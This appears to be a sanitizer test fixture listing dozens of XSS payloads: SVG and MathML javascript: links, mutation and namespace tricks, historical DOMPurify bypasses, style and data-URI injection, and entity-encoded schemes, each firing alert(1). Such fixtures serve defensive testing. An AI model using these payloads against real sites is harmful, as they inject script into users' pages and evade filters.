yaml-test-s28

XSS Test

<!-- SVG-based XSS attempts -->

<svg><a xlink:href="javascript:alert(1)"><text x="10" y="20">Click SVG</text></a></svg> <svg><animate attributeName="href" values="javascript:alert(1)"/></svg> <svg><set attributeName="onmouseover" to="alert(1)"/></svg> <svg><a href="javascript:alert(1)"><text>Click</text></a></svg>

<!-- Math-based XSS -->

<math><maction actiontype="statusline">Click<mtext>javascript:alert(1)</mtext></maction></math> <math href="javascript:alert(1)"><mi>click</mi></math>

<!-- MXS: Mutation-based (nesting tricks) -->

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></desc></svg> <svg><title>test<img src=x onerror=alert(1)></title></svg>

<!-- Namespace confusion -->

<svg><foreignObject><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"></iframe></foreignObject></svg> <svg><foreignObject><img xmlns="http://www.w3.org/1999/xhtml" src=x onerror="alert(1)"></foreignObject></svg>

<!-- DOMPurify bypasses (historical) --> <form><math><mtext><form><mglyph><svg><mtext><textarea><path id="</textarea><img src=x onerror=alert(1)>"></path></mtext></svg></mglyph></form></mtext></math></form> <svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg> <math><mtext><table><mglyph><svg><mtext><style><path id="</style><img src=x onerror=alert(1)>"></path></mtext></svg></mglyph></table></mtext></math> <!-- Style injection attempts --> <div style="background:url('javascript:alert(1)')">test1</div> <div style="behavior:url(xss.htc)">test2</div> <div style="-moz-binding:url(xss.xml#xss)">test3</div> <div style="content:url(data:text/html,<script>alert(1)</script>)">test4</div> <!-- Data URI in allowed tags --> <img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>"> <audio src="data:audio/wav;base64,UklGR"> <video src="data:video/mp4;base64,AAAAGGZ0"> <!-- Tab/newline bypasses -->

<a href="j&#x61;vascript:alert(1)">click1</a> <a href="&#106;avascript:alert(1)">click2</a> <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;alert(1)">click3</a> <a href="java script:alert(1)">click4</a> <a href="java&#x09;script:alert(1)">click5</a>

<!-- Markdown-based XSS -->

Click me Click me

End.